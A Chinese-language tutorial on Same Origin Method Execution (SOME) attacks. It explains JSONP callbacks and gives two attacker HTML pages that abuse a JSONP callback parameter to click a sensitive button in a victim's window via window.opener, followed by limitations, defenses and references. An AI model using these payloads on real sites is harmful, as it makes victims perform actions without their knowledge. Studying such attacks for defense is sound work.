Some攻击方式的探究
0x01 介绍:
Some (Same origin method execution) ,也就是同源方法执行。受同源策略的影响,一个域想要向另一个域传递消息,需要使用JSONP,或者Postmessage,CORS。而some攻击其实就是利用了回调函数的参数值可以由用户控制,从而可以对整个域的dom文档进行操作。
JSONP
jsonp 由于同源策略的存在,两个域之间无法正常沟通,但是
<script>
标签不受这个限制,所以我们就就可以利用script这个标签,来抓取别的页面动态产生的json数据,这种抓取的方式就是JSONP。
JSONP的实现过程中会存在一个客户端与服务端,
客户端包含对数据进行处理的函数,并且使用script标签向服务端请求它要处理的数据。
假如我们的请求办法是<script type="text/javascript" src="yemian/server.php?callback=">
,其中callback的值即就是处理数据的函数名,
然后服务端server.php接受到函数名之后,会对其添加相应的数据并返回给客户端,比如函数名是callback,然后返回给客户端callback({‘xiaoming’,123}),相当于给json数据添加了前缀和后缀,所以称为json with padding。
0x02:利用:
有时候一个参数会过滤导致xss的关键字符,只留下\w+., 这时我们便可以考虑这个参数会不会是被执行的回调函数。假设在主页面www.test.com
上存在一个1.html
代码如下1
2
3
4
5
6
7
8
9
10
11<html>
<head></head>
<body>
<form>
<button onclick="secret()" >private operation</button>
</form>
<script>
function secret() {
alert('secret');
}
</script>
服务端存在一个执行回调函数的部分来完成相应的功能jsonp.php
1 |
|
这时我们可以在vps构造两个攻击脚本
- some1.html,使漏洞页面的父窗口为存在敏感操作的页面
- some2.html的作用即是使用window.opener操作父窗口
some1.html1
2
3
4<script>
window.open('some2.html');
location.replace('http://www.test.com/1.html');
</script>
some2.html1
2
3<script>
location.replace('http://www.test.com/jsonp.php?callback=window.opener.body.firstElementChild.firstElementChild.click');
</script>
然后我们诱骗别人点开vps/some1.html, 即可在他不知情的情况下执行敏感操作。
- 一个some 漏洞平台 https://www.someattack.com/Playground/
0x03: 局限:
我们提交的callback值必须是可执行的js,并且我们没办法控制服务他回调函数要处理的参数,如果服务端为其添加了数据参数,可能会导致同源方法无法执行。
此外,如果服务端返回头的Content-Type值为application/json, callback值便不能被当作js处理,攻击便会失效。
我们为上面的jsonp.php 添加
header("Content-Type: application/json");
页面不再弹窗, 攻击失效
0x04: 防御:
some攻击本质上就是对回调函数参数的滥用,所以防御可以从一下几方面
- 保证回调函数参数提交的值在白名单范围内
- 或者使用Postmessage来进行跨域交互。
- 让Content-Type的值为application/json
0x05: 参考:
http://blog.safedog.cn/?p=13
https://paper.seebug.org/452/
http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0215221
http://www.benhayak.com/2015/06/same-origin-method-execution-some.html
http://zoczus.blogspot.fr/2015/04/plupload-same-origin-method-execution.html